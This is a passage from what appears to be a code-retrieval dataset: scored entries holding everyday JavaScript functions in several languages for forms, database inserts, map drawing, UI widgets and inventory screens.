localStorage.setItem(\"nomeCompleto_\"+localStorage.cont,nomeCompleto);\n\t localStorage.setItem(\"cpf_\"+localStorage.cont,cpf);\n localStorage.setItem(\"rg_\"+localStorage.cont,rg);\n\t localStorage.setItem(\"orgaoEmissor_\"+localStorage.cont,orgaoEmissor);\n\t localStorage.setItem(\"dtNascimento_\"+localStorage.cont,dtNascimento);\n\t localStorage.setItem(\"rua_\"+localStorage.cont,rua);\n\t localStorage.setItem(\"numeroDaCasa_\"+localStorage.cont,numeroDaCasa);\n\t localStorage.setItem(\"bairro_\"+localStorage.cont,bairro);\n\t localStorage.setItem(\"cidade_\"+localStorage.cont,cidade);\n\t localStorage.setItem(\"estado_\"+localStorage.cont,estado);\n\t localStorage.setItem(\"cep_\"+localStorage.cont,cep);\n\t localStorage.setItem(\"telefone_\"+localStorage.cont,telefone);\n\t localStorage.setItem(\"celular_\"+localStorage.cont,celular);\n\t localStorage.setItem(\"celular2_\"+localStorage.cont,celular2); \n \tlocalStorage.setItem(\"materiaParaEnsinar_\"+localStorage.cont,totalMaterias[0]);\n\t localStorage.setItem(\"anosEnsinando_\"+localStorage.cont,anosEnsinando);\n\t localStorage.setItem(\"email_\"+localStorage.cont,cadastroEmail);\n\t localStorage.setItem(\"senha_\"+localStorage.cont,cadastroSenha);\n}", "title": "" }, { "docid": "97f51a66389a88804ffd8b4910aff2b4", "score": "0.49183422", "text": "function addPlanilha(pessoa){\n var ss = openSheetById();\n var sheet = ss.getActiveSheet();\n var pessoas = [];\n \n sheet.appendRow([pessoa.nome, pessoa.peso, pessoa.altura, pessoa.gordura, pessoa.imc]);\n \n return pessoa;\n }", "title": "" }, { "docid": "8d3a4a43a3c0a2d99c5c6fbda0eda131", "score": "0.49158272", "text": "function ajoutContrat_partenaire_relai(contrat_partenaire_relai,suppression)\n {\n if (NouvelItemContrat_partenaire_relai==false)\n {\n apiFactory.getAPIgeneraliserREST(\"contrat_partenaire_relai/index\",'menus','getcontratvalideById','id_contrat_partenaire',contrat_partenaire_relai.id).then(function(result)\n { \n var contrat_pr_valide = result.data.response;\n if (contrat_pr_valide.length !=0)\n {\n var confirm = $mdDialog.confirm()\n .title('cette modification n\\'est pas autorisé. Les données sont déjà validées!')\n .textContent('')\n .ariaLabel('Lucky day')\n .clickOutsideToClose(true)\n .parent(angular.element(document.body))\n .ok('Fermer')\n \n $mdDialog.show(confirm).then(function()\n { \n vm.allcontrat_partenaire_relai = contrat_pr_valide;\n vm.showbuttonValidationcontrat_pr = false;\n }, function() {\n //alert('rien');\n });\n }\n else\n {\n test_existanceContrat_partenaire_relai (contrat_partenaire_relai,suppression); \n }\n }); \n } \n else\n {\n insert_in_baseContrat_partenaire_relai(contrat_partenaire_relai,suppression);\n }\n }", "title": "" }, { "docid": "7f70c51fd475bd0b3d897d7140b7bb23", "score": "0.49149087", "text": "function User_Insert_Ecritures_Liste_des_écritures_comptables0(Compo_Maitre)\n{\n\n/*\n***** INFOS ******\n\nNbr d'esclaves = 6\n\nId dans le tab: 93;\nsimple\nNbr Jointure: PAS DE JOINTURE;\n\nId dans le tab: 94;\nsimple\nNbr Jointure: PAS DE JOINTURE;\n\nId dans le tab: 95;\nsimple\nNbr Jointure: PAS DE JOINTURE;\n\nId dans le tab: 96;\nsimple\nNbr Jointure: PAS DE JOINTURE;\n\nId dans le tab: 97;\nsimple\nNbr Jointure: 1;\n Joint n° 0 = pointage,pt_numero,pt_numero\n\nId dans le tab: 98;\nsimple\nNbr Jointure: 1;\n Joint n° 0 = lettrage,lt_numero,lt_numero\n\n******************\n*/\n\n var Table=\"ecriture\";\n var CleMaitre = TAB_COMPO_PPTES[88].NewCle;\n var NomCleMaitre = DePrefixerChamp(Compo_Maitre.getCle());\n var ec_libelle=GetValAt(93);\n if (!ValiderChampsObligatoire(Table,\"ec_libelle\",TAB_GLOBAL_COMPO[93],ec_libelle,false))\n \treturn -1;\n if (!ValiderChampsType(Table,\"ec_libelle\",TAB_GLOBAL_COMPO[93],ec_libelle))\n \treturn -1;\n var ec_compte=GetValAt(94);\n if (!ValiderChampsObligatoire(Table,\"ec_compte\",TAB_GLOBAL_COMPO[94],ec_compte,false))\n \treturn -1;\n if (!ValiderChampsType(Table,\"ec_compte\",TAB_GLOBAL_COMPO[94],ec_compte))\n \treturn -1;\n var ec_debit=GetValAt(95);\n if (!ValiderChampsObligatoire(Table,\"ec_debit\",TAB_GLOBAL_COMPO[95],ec_debit,false))\n \treturn -1;\n if (!ValiderChampsType(Table,\"ec_debit\",TAB_GLOBAL_COMPO[95],ec_debit))\n \treturn -1;\n var ec_credit=GetValAt(96);\n if (!ValiderChampsObligatoire(Table,\"ec_credit\",TAB_GLOBAL_COMPO[96],ec_credit,false))\n \treturn -1;\n if (!ValiderChampsType(Table,\"ec_credit\",TAB_GLOBAL_COMPO[96],ec_credit))\n \treturn -1;\n var pt_numero=GetValAt(97);\n if (pt_numero==\"-1\")\n pt_numero=\"null\";\n if (!ValiderChampsObligatoire(Table,\"pt_numero\",TAB_GLOBAL_COMPO[97],pt_numero,true))\n \treturn -1;\n var lt_numero=GetValAt(98);\n if (lt_numero==\"-1\")\n lt_numero=\"null\";\n if (!ValiderChampsObligatoire(Table,\"lt_numero\",TAB_GLOBAL_COMPO[98],lt_numero,true))\n \treturn -1;\n var Req=\"insert into \"+Table+\" \";\nvar TabInsertionEnPlus=new Array();\nvar Asso11=false;\nvar TabAsso11=new Array();\nvar CompoLie = GetSQLCompoAt(132);\nvar CompoLieMaitre = CompoLie.my_Affichable.my_MaitresLiaison.getAttribut().GetComposant();\nvar CleLiasonForte = CompoLieMaitre.getCleVal();\nif (CleLiasonForte!=-1)\n{\n\tAsso11=GenererAssociation11(CompoLie,CleMaitre,CleLiasonForte,TabAsso11);\n}\nelse\n{\n\talert(\"Vous devez d'abord valider \"+CompoLieMaitre.getLabel()+\" puis mettre à jour.\");\n\treturn -1;\n}\n Req+=\"(\"+NomCleMaitre+\",ec_libelle,ec_compte,ec_debit,ec_credit,pt_numero,lt_numero\"+(Asso11?\",\"+TabAsso11[0]:\"\")+(TabInsertionEnPlus.length!=0?\",\"+TabInsertionEnPlus[0]:\"\")+\")\";\n Req+=\" values (\"+CleMaitre+\",\"+(ec_libelle==\"\" ? \"null\" : \"'\"+ValiderChaine(ec_libelle)+\"'\" )+\",\"+(ec_compte==\"\" ? \"null\" : \"'\"+ValiderChaine(ec_compte)+\"'\" )+\",\"+(ec_debit==\"\" ? \"null\" : \"'\"+ValiderChaine(ec_debit)+\"'\" )+\",\"+(ec_credit==\"\" ? \"null\" : \"'\"+ValiderChaine(ec_credit)+\"'\" )+\",\"+pt_numero+\",\"+lt_numero+\"\"+(Asso11?\",\"+TabAsso11[1]:\"\")+(TabInsertionEnPlus.length!=0?\",\"+TabInsertionEnPlus[1]:\"\")+\")\";\n\n if (pgsql_update(Req)==0)\n\talert(\"Echec lors de l'insertion\");\nif (CleLiasonForte!=-1 && !Asso11)\n{\n\tAjouterAssociation(CompoLie,CleMaitre,CleLiasonForte);\n}\nelse\n{\n\tif (CleLiasonForte==-1)\n\t{\n\t\talert(\"Attention votre enregistrement ne peux être relié à \"+CompoLieMaitre.getLabel()+\". Vous devez d'abord ajouter un enregistrement à \"+CompoLieMaitre.getLabel()+\" puis le mettre à jour\");\n\t\treturn -1;\n\t}\n}\nreturn CleMaitre;\n\n}", "title": "" }, { "docid": "8cdb3e933f17a083b91296034f59a26e", "score": "0.4912808", "text": "function saveDrawnInstituteToDatabase() {\n // test, if textfields are filled out properly\n if(checkInput()){\n // retrieve the geometry out of the drawnItems\n var institutgeoJSON = drawnItems.toGeoJSON();\n // add properties\n institutgeoJSON.features[0].properties.name=neu.myName;\n institutgeoJSON.features[0].properties.img=neu.url;\n // create new databaseobject-object and later will the param json\n neu.json = JSON.stringify(institutgeoJSON);\n sendData();\n }\n}", "title": "" }, { "docid": "b64ea341b07ef2329527e381004c4c73", "score": "0.49118653", "text": "function inserisciConto() {\n $(\"#segnoCollapse\").val($(\"input[type='radio'][data-collapse-AVERE]\").prop('checked'));\n var obj = $(\"#fieldsetCollapseDatiStruttura\").serializeObject();\n var collapse = $(\"#collapseDatiStruttura\");\n\n\n alertErrori.slideUp();\n alertInformazioni.slideUp();\n\n // Attivo l'overlay\n// collapse.overlay(\"show\");\n $.postJSON(baseUrl + \"_inserisciConto.do\", obj)\n .then(function(data) {\n if(impostaDatiNegliAlert(data.errori, alertErrori)) {\n // Errore: esco\n return;\n }\n impostaDatiNegliAlert(data.informazioni, alertInformazioni);\n $(\"#collapseDatiStruttura\").collapse(\"hide\");\n // Ricarico la tabella\n aggiornaDatiScritture (data);\n }).always(function() {\n// collapse.overlay(\"hide\");\n });\n }", "title": "" }, { "docid": "e703827820f82be7ac05f0f1469465f4", "score": "0.49070925", "text": "function criarLinhaCliente(cliente){\n const linha = criarElemento('tr');\n linha.incluirFilho(criarElemento('td').adicionarTexto(cliente.id));\n linha.incluirFilho(criarElemento('td').adicionarTexto(cliente.nome));\n const cpf = formatarCPF(cliente.cpf);\n linha.incluirFilho(criarElemento('td').adicionarTexto(cpf));\n linha.incluirFilho(criarElemento('td').adicionarTexto(cliente.fone));\n\n linha.incluirFilho(criarElemento('td').adicionarTexto(cliente.email));\n const receita = converterParaRealComCifrao(cliente.receita);\n linha.incluirFilho(criarElemento('td')\n .adicionarClasse('alinhaADireita') \n .adicionarTexto(receita));\n const saldo = converterParaRealComCifrao(cliente.saldoCarteira);\n linha.incluirFilho(criarElemento('td')\n .adicionarClasse('alinhaADireita') \n .adicionarTexto(saldo));\n criarActions(linha, \"clientes\", cliente.id);\n return linha;\n}", "title": "" }, { "docid": "7990fe15f61c8da3629b005aaa67e444", "score": "0.4906113", "text": "function agregarAInventario(){\n\t\tvar codigoP=$('#codigoProducto').val();\n\t\tvar codigoB=$('#bodega').val();\n\t\tvar codigoE=$('#estanteria').val();\n\t\tvar codigoS=$('#seccionA').val();\n\t\tvar descripP=$('#descripcion').val();\n\t\tvar unidadM=$('#unidad').val();\n\t\tvar cantidadT=$('#cantidadTotal').val();\n\t\t$.post('AgregarProducto', {\n\t\t\tcodigop : codigoP,\n\t\t\tcodigob: codigoB,\n\t\t\tcodigoe: codigoE,\n\t\t\tcodigos: codigoS,\n\t\t\tdescrip: descripP,\n\t\t\tunidad: unidadM,\n\t\t\tcantidad: cantidadT\n\t\t}, function(responseText) {\n\t\t\t$('#notificacion').show();\n\t\t\t$('#notificacion').text(responseText);\n\t\t\t$('#codigoProducto').val(\"\");\n\t\t\t$('#descripcion').val(\"\");\n\t\t\t$('#unidad').val(\"\");\n\t\t\t$('#cantidadTotal').val(\"\");\n\t\t\tesMuestra();\n\t\t\t$('#cantidadActual').val(\"\");\n\t\t});\n\t\t\n\t\t$(\"#codigoProducto\").focus();\n\t\t\n\t}", "title": "" }, { "docid": "2145c55352587f0148ac72d81b55d128", "score": "0.49022672", "text": "function ajoutContrat_partenaire_relai(contrat_partenaire_relai,suppression)\n {\n if (NouvelItemContrat_partenaire_relai==false)\n { \n \n if (vm.session==\"AAC\")\n {\n apiFactory.getAPIgeneraliserREST(\"contrat_partenaire_relai/index\",'menus','getcontratvalideById','id_contrat_partenaire',contrat_partenaire_relai.id).then(function(result)\n { \n var contrat_pr_valide = result.data.response;\n if (contrat_pr_valide.length !=0)\n {\n var confirm = $mdDialog.confirm()\n .title('cette modification n\\'est pas autorisé. Les données sont déjà validées!')\n .textContent('')\n .ariaLabel('Lucky day')\n .clickOutsideToClose(true)\n .parent(angular.element(document.body))\n .ok('Fermer')\n \n $mdDialog.show(confirm).then(function()\n { \n vm.allcontrat_partenaire_relai = contrat_pr_valide;\n }, function() {\n //alert('rien');\n });\n }\n else\n {\n test_existanceContrat_partenaire_relai (contrat_partenaire_relai,suppression); \n }\n });\n }\n else\n {\n test_existanceContrat_partenaire_relai (contrat_partenaire_relai,suppression); \n }\n \n } \n else\n {\n insert_in_baseContrat_partenaire_relai(contrat_partenaire_relai,suppression);\n }\n }", "title": "" }, { "docid": "80a59eac2a41b880fab1afcdfae50b50", "score": "0.4898926", "text": "function nuevo() {\n try {\n var iFila;\n bCambios = true;\n var oNF = $I(\"tblCatalogo\").insertRow(-1);\n iFila = oNF.rowIndex;\n oNF.id = -$I(\"tblCatalogo\").rows.length;\n oNF.nF = iFila;\n oNF.setAttribute(\"bd\", \"I\");\n oNF.setAttribute(\"height\", \"22px\");\n oNF.setAttribute(\"sw\", \"1\");\n oNF.attachEvent(\"onclick\", mm);\n oNF.onclick = function() { activarCombo(this.rowIndex); };\n \n //Imagen del mantenimiento de bd\n var oImgFI = oNF.insertCell(-1).appendChild(document.createElement(\"img\"));\n oImgFI.style.marginLeft = \"4px\";\n oImgFI.setAttribute(\"src\", \"../../../../Images/imgFI.gif\");\n oImgFI.setAttribute(\"textAlign\", \"center\");\n\n //Denominación\n oNF.insertCell(-1); \n var oInputDenom = document.createElement(\"input\");\n oInputDenom.setAttribute(\"type\", \"text\");\n oInputDenom.setAttribute(\"id\", \"Denominacion\" + iFila);\n oInputDenom.setAttribute(\"style\", \"width:380px; text-transform:uppercase;\");\n oInputDenom.setAttribute(\"maxLength\", \"80\");\n oInputDenom.setAttribute(\"class\", \"txtM\");\n oInputDenom.setAttribute(\"value\", \"\");\n oInputDenom.onkeyup = function() { mfa(this.parentNode.parentNode, 'U') };\n oNF.cells[enumTitulacion.denom].appendChild(oInputDenom);\n\n //Celda Tipo\n oNF.insertCell(-1);\n\n //Celda Modalidad\n oNF.insertCell(-1);\n\n //Celda Tic\n oNF.insertCell(-1);\n var oChkT = document.createElement(\"input\");\n oChkT.setAttribute(\"type\", \"checkbox\");\n oChkT.setAttribute(\"id\", \"chkTituloTic\" + iFila);\n oNF.cells[enumTitulacion.tic].setAttribute(\"style\", \"text-align:center;\");\n oNF.cells[enumTitulacion.tic].appendChild(oChkT);\n\n oChkT.onclick = function() { mfa(this.parentNode.parentNode, 'U') };\n\n //Celda Validacion\n oNF.insertCell(-1);\n var oChkV = document.createElement(\"input\");\n oChkV.setAttribute(\"type\", \"checkbox\");\n oChkV.setAttribute(\"id\", \"chkValidacion\" + iFila);\n oChkV.setAttribute(\"checked\", \"checked\" + iFila);\n oNF.setAttribute(\"chkV\", \"1\");\n oNF.cells[enumTitulacion.validado].setAttribute(\"style\", \"text-align:center;\");\n oNF.cells[enumTitulacion.validado].appendChild(oChkV);\n oChkV.onclick = function() { mfa(this.parentNode.parentNode, 'U') };\n\n //Celda RH\n oNF.insertCell(-1);\n var oChk = document.createElement(\"input\");\n oChk.setAttribute(\"type\", \"checkbox\");\n oChk.setAttribute(\"id\", \"chkRH\" + iFila);\n oChk.setAttribute(\"checked\", \"checked\" + iFila);\n oNF.setAttribute(\"chk\", \"1\");\n oNF.cells[enumTitulacion.rh].setAttribute(\"style\", \"text-align:center;\");\n oNF.cells[enumTitulacion.rh].appendChild(oChk);\n oChk.onclick = function() { mfa(this.parentNode.parentNode, 'U') };\n\n //ms(oNF);\n AccionBotonera(\"grabar\", \"H\");\n if (ie) oNF.click();\n else {\n var clickEvent = window.document.createEvent(\"MouseEvent\");\n clickEvent.initEvent(\"click\", false, true);\n oNF.dispatchEvent(clickEvent);\n }\n $I(\"divCatalogo\").scrollTop = $I(\"divCatalogo\").scrollHeight;\n oNF.cells[enumTitulacion.denom].children[0].focus();\n } catch (e) {\n mostrarErrorAplicacion(\"Error al añadir nueva titulacion\", e.message);\n }\n}", "title": "" }, { "docid": "955cff5c1df506a47092891039f195de", "score": "0.48967052", "text": "function createPolygon(user) {\r\n\t$(\"#toolbar-createpolygon\").click(function() {\r\n\r\n\t\t// Create a polygon if the current question is 6 and if user.livingenvironmentamount < 1\r\n\t\tif ($(\"#questiontitle\").html() == questions[6][2] && user.livingenvironmentamount < 1) {\r\n\t\t\t// Create the polygon\r\n\t\t\tvar lat1 = user.zipcodelat + 0.003;\r\n\t\t\tvar lat2 = user.zipcodelat - 0.003;\r\n\t\t\tvar lon1 = user.zipcodelon + 0.007;\r\n\t\t\tvar lon2 = user.zipcodelon - 0.007;\r\n\t\t\tvar triangleCoords = [\r\n\t\t\t\t{lat: lat1, lng: lon2},\r\n\t\t\t\t{lat: lat2, lng: lon2},\r\n\t\t\t\t{lat: lat1, lng: lon1}\r\n\t\t\t];\r\n\t\t\tvar polygon = new google.maps.Polygon({\r\n\t\t\t\tpaths: triangleCoords,\r\n\t\t\t\tstrokeColor: 'indigo',\r\n\t\t\t\tstrokeOpacity: 0.8,\r\n\t\t\t\tstrokeWeight: 3,\r\n\t\t\t\tfillColor: 'indigo',\r\n\t\t\t\tfillOpacity: 0.35,\r\n\t\t\t\teditable: true,\r\n\t\t\t\tdraggable: true\r\n\t\t\t});\r\n\r\n\t\t\t// Add 1 to user.livingenvironmentamount to make sure that the user can only create 1 living environment area\r\n\t\t\tuser.livingenvironmentamount = 1;\r\n\t\t\t// Set the living environment properties to polygon\r\n\t\t\tuser.livingenvironmentproperties = [\r\n\t\t\t\t[\"type\", \"lat\", \"lon\", \"rad\", \"north\", \"south\", \"east\", \"west\"],\r\n\t\t\t\t[\"polygon\", \"lat\", \"lon\", \"rad\", \"north\", \"south\", \"east\", \"west\"]\r\n\t\t\t];\r\n\t\t\t// Save the polygon to the user object\r\n\t\t\tuser.livingenvironment = polygon;\r\n\t\t\t// Add the polygon to the map\r\n\t\t\tuser.livingenvironment.setMap(user.map);\r\n\r\n\t\t\t// Set #toolbar-createpolygon as the active .toolbar-item of #toolbar-buttons\r\n\t\t\t$(\"#toolbar-buttons .toolbar-item\").removeClass(\"toolbar-active\");\r\n\t\t\t$(this).removeClass(\"toolbar-item\");\r\n\t\t\t$(this).addClass(\"toolbar-item toolbar-active\");\r\n\t\t}\r\n\t\t// Return the user object\r\n\t\treturn user;\r\n\t});\r\n}", "title": "" }, { "docid": "d2632a92ed53e81af22ae5c458074464", "score": "0.48962736", "text": "function quickCity(){ \n\t\t// Comprueba si esta el formulario de envio\n\t\tif (find(\"//form[@name='snd']\", XPFirst) == null) return;\n\t\tvar ciudades = new Array(); \n\n\t\t// Recupera la coordenada X\n\t\tvar n = find(\"//table[@class='f8']//*/td[@align='right']\", XPList); \n\t\tfor(var i = 0; i < n.snapshotLength; i++){\n\t\t\tciudades[i] = new Object();\n\t\t\ttry{ ciudades[i].x = n.snapshotItem(i).innerHTML.split('(')[1]; }catch(e){}\n\t\t} \n\n\t\t// Recupera la coordenada Y\n\t\tn = find(\"//table[@class='f8']//*/td[@align='left']\", XPList); \n\t\tfor(var i = 0; i < n.snapshotLength; i++){ \n\t\t\ttry{ ciudades[i].y = n.snapshotItem(i).innerHTML.split(')')[0]; } catch(e){}\n\t\t} \n\n\t\t// Por cada par de coordenadas crea un evento para copiarlas al formulario\n\t\tn = find(\"//table[@class='f8']//tr\", XPList);\n\t\tfor (var i = 0; i < ciudades.length; i++){\n\t\t\tvar elem = n.snapshotItem(i);\n\t\t\telem.setAttribute('onClick',\"snd.x.value='\" + ciudades[i].x + \"';snd.y.value='\" + ciudades[i].y + \"'\");\n\t\t\telem.setAttribute('onMouseOver', 'this.style.color=\"red\"');\n\t\t\telem.setAttribute('onMouseOut', 'this.style.color=\"black\"');\n\t\t\telem.style.cursor = \"pointer\";\n\t\t}\n\t}", "title": "" }, { "docid": "a962fad5d721c9764abfd757c0e584b4", "score": "0.4894104", "text": "function crearTermostatoTipo0( id_term)\n{\n\tvar termostato1= new Object();\n\t\n\t\n\ttermostato1.parametros={temperatura:35.5, modo:0,temperaturaAmbiente:30.5,ValvulaAbierta:0};// datos recibidor del termostato\n\ttermostato1.configuracion={temperatura:35.5, modo:0, Caption:\"\"};// parametros que se envian al termostato \n\ttermostato1.configuracion.Caption=\"Termostato \"+id_term;\n\ttermostato1.iluminadoModo=false;\n\ttermostato1.Tipo=0;// tipo de objeto en este caso termostato sistena\n\ttermostato1.Caption=\"Termostato \"+id_term;\n\ttermostato1.visible=1;// se mira si es visible o no \n\ttermostato1.EstaMinimizado=1; // 0 maximizado, 1 minimizado\n\t//termostato1.temperatura=35.5;\n\t//termostato1.temperaturaAmbiente=30.5;\n\ttermostato1.estado=1; // donde 1 es on y 0 off \n\ttermostato1.actualizar=0; // donde 1 es que hay que enviar datos al servicio pass , 0 no hay datos actualizador\n\ttermostato1.dat=0;// ????\n\t//termostato.HayDatosCambiados=HayDatosCambiados_Term;\n\n\ttabla_valores.push(termostato1);\n\n\tvar t = document.querySelector('#termostato_tipo_1');\n\t\n\t\n\tvar clone = document.importNode(t.content, true);\n\t\n\tclone.getElementById(\"termostato\").id=\"termostato\"+id_term;\n\tclone.getElementById(\"marco_superior\").id=\"marco_superior\"+id_term;\n\tclone.getElementById(\"icono_despliegue\").id=\"icono_despliegue\"+id_term;\n\tclone.getElementById(\"caption_temp\").id=\"caption_temp\"+id_term;\n\tclone.getElementById(\"tempAmbiente\").id=\"tempAmbiente\"+id_term;\n\tclone.getElementById(\"icono_OnOffSup\").id=\"icono_OnOffSup\"+id_term;\n\tclone.getElementById(\"marco_inf\").id=\"marco_inf\"+id_term;\n\tclone.getElementById(\"zona_iconos\").id=\"zona_iconos\"+id_term;\n\tclone.getElementById(\"btn_mas\").id=\"btn_mas\"+id_term;\n\tclone.getElementById(\"icono_func_mas\").id=\"icono_func_mas\"+id_term;\n\tclone.getElementById(\"temp_grande\").id=\"temp_grande\"+id_term;\n\tclone.getElementById(\"btn_menos\").id=\"btn_menos\"+id_term;\n\tclone.getElementById(\"icono_func_menos\").id=\"icono_func_menos\"+id_term;\n\tclone.getElementById(\"icono_onoff\").id=\"icono_onoff\"+id_term;\n\tclone.getElementById(\"btn_onoff\").id=\"btn_onoff\"+id_term;\n\tclone.getElementById(\"marco_temp\").id=\"marco_temp\"+id_term;\n\tclone.getElementById(\"btn_conf\").id=\"btn_conf\"+id_term;\n\tclone.getElementById(\"temp_peque\").id=\"temp_peque\"+id_term;\n\tclone.getElementById(\"term_modo\").id=\"term_modo\"+id_term;\n\t\n\t\n\t$(\"#contenedor\").append(clone);\n\tdocument.getElementById(\"icono_despliegue\"+id_term).setAttribute( \"IdTerm\",id_term.toString());\n\tdocument.getElementById(\"icono_OnOffSup\"+id_term).setAttribute(\"IdTerm\",id_term.toString());\n\tdocument.getElementById(\"btn_mas\"+id_term).setAttribute(\"IdTerm\",id_term.toString());\n\tdocument.getElementById(\"btn_menos\"+id_term).setAttribute(\"IdTerm\",id_term.toString());\n\tdocument.getElementById(\"btn_onoff\"+id_term).setAttribute(\"IdTerm\",id_term.toString());\n\tdocument.getElementById(\"btn_conf\"+id_term).setAttribute(\"IdTerm\",id_term.toString());\n\t\n}", "title": "" }, { "docid": "f7316dadfb4255ac139677ba2c6fe411", "score": "0.48940203", "text": "function GerarGuiaEntradaCtrl(Fornecedores, Produtos, Upload, GuiasEntradasResource, ConstantService, ProdutosResource) {\n\t\tvar vm = this, copy;\n\t\tvm.block = false;\n\t\tvm.fornecedores = Fornecedores;\n\t\tvm.produtos = Produtos;\n\t\tvm.recursos = ConstantService.recursos;\n\t\tvm.produtosNota = [];\n\n\t\t$(document).ready(function () {\n\t\t\t$('select').formSelect();\n\t\t\t$('.datepicker').datepicker({\n\t\t\t\ti18n: {\n\t\t\t\t\tmonths: ['Janeiro', 'Fevereiro', 'Março', 'Abril', 'Maio', 'Junho', 'Julho', 'Agosto', 'Setembro', 'Outubro', 'Novembro', 'Dezembro'],\n\t\t\t\t\tmonthsShort: ['Jan', 'Fev', 'Mar', 'Abr', 'Mai', 'Jun', 'Jul', 'Ago', 'Set', 'Out', 'Nov', 'Dez'],\n\t\t\t\t\tweekdays: ['Domingo', 'Segunda', 'Terça', 'Quarta', 'Quinta', 'Sexta', 'Sabádo'],\n\t\t\t\t\tweekdaysShort: ['Dom', 'Seg', 'Ter', 'Qua', 'Qui', 'Sex', 'Sab'],\n\t\t\t\t\tweekdaysAbbrev: ['D', 'S', 'T', 'Q', 'Q', 'S', 'S'],\n\t\t\t\t\ttoday: 'Hoje',\n\t\t\t\t\tclear: 'Limpar',\n\t\t\t\t\tcancel: 'Sair',\n\t\t\t\t\tdone: 'Ok',\n\t\t\t\t\tlabelMonthNext: 'Próximo mês',\n\t\t\t\t\tlabelMonthPrev: 'Mês anterior',\n\t\t\t\t\tlabelMonthSelect: 'Selecione um mês',\n\t\t\t\t\tlabelYearSelect: 'Selecione um ano'\n\t\t\t\t},\n\t\t\t\tformat: 'dd/mm/yyyy',\n\t\t\t\tdisableWeekends: true\n\t\t\t});\n\t\t});\n\n\t\tfunction bloqueio(bool) {\n\t\t\tvm.block = bool;\n\t\t\t$(document).ready(function () {\n\t\t\t\t$('select').formSelect();\n\t\t\t});\n\t\t}\n\n\t\tfunction uploadFile(id_entrada_anexoentrada, id_fonecedor_anexoentrada, num_nota_entrada_anexoentrada) {\n\t\t\tUpload.upload({\n\t\t\t\turl: 'api/guiasentrada/upload',\n\t\t\t\tmethod: 'POST',\n\t\t\t\tdata: { file: vm.file, id_entrada_anexoentrada: id_entrada_anexoentrada, id_fonecedor_anexoentrada: anexo_id_fornecedor, num_nota_entrada_anexoentrada: num_nota_entrada_anexoentrada }\n\t\t\t}).then(function (resp) {\n\t\t\t\tif (resp.data.id_anexoentrada) {\n\t\t\t\t\tM.toast({ html: 'Nota fiscal anexada com sucesso', inDuration: 1500, classes: 'rounded noprint', completeCallback: bloqueio(true) });\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\n\t\tfunction getPrice(id_produto) {\n\t\t\tProdutosResource.get({ id_produto: id_produto }).$promise.then(function (data) {\n\t\t\t\tvm.itens.valor_produto_itensentrada = data.valor_produto;\n\t\t\t\t$(document).ready(function () {\n\t\t\t\t\tM.updateTextFields();\n\t\t\t\t});\n\t\t\t});\n\t\t}\n\t\tvm.getPrice = getPrice;\n\n\t\tfunction cadastrar() {\n\t\t\tvm.dados.id_usuario_entrada = sessionStorage.getItem('id');\n\t\t\tGuiasEntradasResource.guias().save(vm.dados).$promise.then(function (data) {\n\t\t\t\tif (data.$resolved && data.id_entrada) {\n\t\t\t\t\tvm.id_entrada_itensentrada = data.id_entrada;\n\t\t\t\t\tif (vm.file) {\n\t\t\t\t\t\tuploadFile(data.id_entrada, vm.dados.id_fornecedor_entrada, vm.dados.num_nota_entrada);\n\t\t\t\t\t}\n\t\t\t\t\tM.toast({ html: 'Guia de entrada aberta com sucesso', inDuration: 1500, classes: 'rounded noprint', completeCallback: bloqueio(true) });\n\t\t\t\t} else {\n\t\t\t\t\tdelete vm.dados;\n\t\t\t\t\tvar pattern = /UNICO FORNECEDOR POR NOTA/g;\n\t\t\t\t\tif (pattern.test(data.erro)) {\n\t\t\t\t\t\tM.toast({ html: 'Nota já cadastrada', inDuration: 1500, classes: 'rounded noprint', completeCallback: bloqueio(false) });\n\t\t\t\t\t} else {\n\t\t\t\t\t\tM.toast({ html: 'Ocorreu uma falha', inDuration: 1500, classes: 'rounded noprint', completeCallback: bloqueio(false) });\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t\tvm.cadastrar = cadastrar;\n\n\t\tfunction inserir() {\n\t\t\tvm.itens.id_entrada_itensentrada = vm.id_entrada_itensentrada;\n\t\t\tcopy = angular.copy(vm.itens);\n\t\t\tdelete vm.itens;\n\t\t\tGuiasEntradasResource.itensEntrada().save(copy).$promise.then(function (data) {\n\t\t\t\tif (data.$resolved && data.id_itensentrada) {\n\t\t\t\t\tvm.produtos.filter(function (el) {\n\t\t\t\t\t\tif (el.id_produto === copy.id_produto_itensentrada) {\n\t\t\t\t\t\t\tel.disabled = true;\n\t\t\t\t\t\t\t$(document).ready(function () {\n\t\t\t\t\t\t\t\t$('select').formSelect();\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t\tGuiasEntradasResource.itensEntrada().get({ id_itensentrada: data.id_itensentrada }).$promise.then(function (data) {\n\t\t\t\t\t\tvm.produtosNota.push(data);\n\t\t\t\t\t});\n\t\t\t\t\tM.toast({ html: 'Item inserido com sucesso', inDuration: 1500, classes: 'rounded noprint' });\n\t\t\t\t} else {\n\t\t\t\t\tM.toast({ html: 'Ocorreu uma falha', inDuration: 1500, classes: 'rounded noprint' });\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t\tvm.inserir = inserir;\n\n\t\tfunction excluir(id_itensentrada, id_produto) {\n\t\t\tGuiasEntradasResource.itensEntrada().delete({ id_itensentrada: id_itensentrada }).$promise.then(function (data) {\n\t\t\t\tif (data.$resolved && data[0] === '1') {\n\t\t\t\t\tvm.produtosNota = vm.produtosNota.filter(function (el) {\n\t\t\t\t\t\tif (el.id_produto !== id_produto) {\n\t\t\t\t\t\t\treturn el;\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t\tvm.produtos.filter(function (el) {\n\t\t\t\t\t\tif (el.id_produto === id_produto) {\n\t\t\t\t\t\t\tdelete el.disabled;\n\t\t\t\t\t\t\t$(document).ready(function () {\n\t\t\t\t\t\t\t\t$('select').formSelect();\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t\tM.toast({ html: 'Item excluído com sucesso', inDuration: 1500, classes: 'rounded noprint' });\n\t\t\t\t} else {\n\t\t\t\t\tM.toast({ html: 'Ocorreu uma Falha', inDuration: 1500, classes: 'rounded noprint' });\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t\tvm.excluir = excluir;\n\t}", "title": "" }, { "docid": "7575d8b76e7d0995c73e22ef77f21df1", "score": "0.48908803", "text": "function addTask(nombreTarea, fechaTarea, completoTarea) {\n // Crea un objeto que representa la nueva tarea.\n const nuevaTarea = 